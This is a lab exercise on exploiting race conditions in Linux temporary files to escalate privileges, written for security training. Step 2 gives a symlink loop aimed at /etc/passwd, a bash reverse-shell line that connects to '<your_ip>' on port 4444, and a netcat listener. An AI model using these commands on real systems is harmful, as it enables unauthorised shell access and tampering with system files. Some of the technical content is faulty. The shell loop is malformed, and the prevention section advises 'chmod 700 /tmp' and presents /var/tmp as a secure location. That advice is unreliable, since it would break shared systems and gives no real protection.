Exercise 41: Exploiting Race Conditions in File Systems

Objective: Learn how race conditions in file system operations can be exploited to escalate privileges, and understand how to prevent such vulnerabilities.

---

Scenario: Race conditions occur when multiple processes access and manipulate the same file or resource in a non-atomic way, leading to unpredictable behavior. Attackers can exploit these conditions to manipulate files at critical moments, potentially escalating privileges or executing arbitrary code. Your task is to identify and exploit such vulnerabilities and implement strategies to prevent them.

---

Lab Setup

1. Environment:
   • A Linux system with a vulnerable application or service that uses temporary files.
2. Tools Required:
   • Terminal access.
   • Scripting tools like Python or Bash.

---

Lab Steps

Step 1: Identify Vulnerable File Operations

1. Locate applications or services that use temporary files: lsof | grep /tmp
2. Check the permissions of the identified files: ls -l /tmp/
3. Identify non-atomic operations, such as:
   • Temporary files with world-writable permissions.
   • Files being read and written sequentially.

Step 2: Exploit the Race Condition

1. Create a script to monitor and replace the target file: while true; do ln -sf /etc/passwd /tmp/vulnerable_file done
2. Identify when the file is being accessed and overwrite it with malicious content: echo 'malicious content' > /tmp/vulnerable_file
3. If the application executes the file, replace it with a malicious script: echo 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1' > /tmp/malicious.sh chmod +x /tmp/malicious.sh ln -sf /tmp/malicious.sh /tmp/vulnerable_file
4. Set up a listener on your machine: nc -lvnp 4444
5. Wait for the application to execute the malicious file and establish a reverse shell.

Step 3: Verify Privilege Escalation

1. Check your current privileges: whoami
2. Document the steps that allowed privilege escalation.

---

Solution

Explanation:

• Race conditions exploit the time gap between a file being accessed and manipulated.
• Attackers can replace files with malicious versions during this window.

Prevention:

1. Use Atomic Operations:
   • Use secure system calls like open(O_CREAT|O_EXCL) to create files atomically.
2. Implement File Locking:
   • Use file locking mechanisms to prevent simultaneous access: import fcntl with open("/tmp/file", "w") as f: fcntl.flock(f, fcntl.LOCK_EX)
3. Restrict Permissions:
   • Ensure temporary files and directories are not world-writable: chmod 700 /tmp
4. Use Secure Directories:
   • Use /var/tmp or user-specific directories for temporary files.
5. Audit Applications:
   • Regularly review code for race condition vulnerabilities.

---

Testing and Verification

1. Test applications after implementing atomic operations to ensure functionality.
2. Verify that file locks prevent simultaneous access.
3. Attempt race condition exploitation to confirm mitigation.

---

Reflection

This exercise demonstrates the risks posed by race conditions in file systems and how they can lead to privilege escalation. By implementing secure file operations and permissions, you can protect systems from such attacks.